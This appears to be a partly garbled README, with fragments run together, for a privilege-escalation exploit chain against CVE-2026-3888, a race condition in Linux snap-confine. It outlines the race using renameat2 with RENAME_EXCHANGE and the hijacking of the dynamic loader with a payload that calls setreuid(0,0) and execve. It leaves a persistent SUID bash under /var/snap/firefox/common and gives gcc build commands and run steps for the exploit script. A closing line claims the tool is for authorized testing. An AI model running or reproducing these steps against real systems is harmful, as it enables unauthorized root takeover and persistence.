
Exploit para CVE-2026-3888: race condition en snap-confine con hijack del loader para escalar a root en Linux.
I developed this chain to exploit CVE-2026-3888, a race condition in
snap-confine during the preparation of the sandbox mount namespace. Running
as an unprivileged user, the race is won to swap the namespace's library
directory for one I control, hijacking the dynamic loader
(ld-linux-x86-64.so.2) that then executes the SUID binary snap-confine as
root. The result is code execution as root.
.snap/.exchange directory and performs the
atomic swap (renameat2 with RENAME_EXCHANGE) at the exact moment of the
racesetreuid(0,0),
setregid(0,0) and execve("/tmp/sh"), used as a fake loader/tmp is created and I wait for root's .snap to be
cleaned up by the janitor--base snapd to
invalidate the cached mount namespace.snap/usr/lib/x86_64-linux-gnu.exchangeld-linux-x86-64.so.2 inside the victim's
namespace with my payload and copy a busybox to /tmp/shsnap-confine loads my loader as
root; I leave a SUID bash at /var/snap/firefox/common/bash for a stable shellgcc -O2 -o firefox_2404 firefox_2404.c
gcc -nostdlib -static -o librootshell.so librootshell.c
On the target, with the three files in the same working directory:
# if your working directory is not $HOME, export it:
# export WORKDIR=/path/to/workdir
chmod +x snap-confine-privesc.sh
./snap-confine-privesc.sh
renameat2(RENAME_EXCHANGE)ld-linux-x86-64.so.2 loaded by the SUID snap-confineThis tool is solely for authorized security testing and educational purposes. Always obtain written authorization before testing against any system.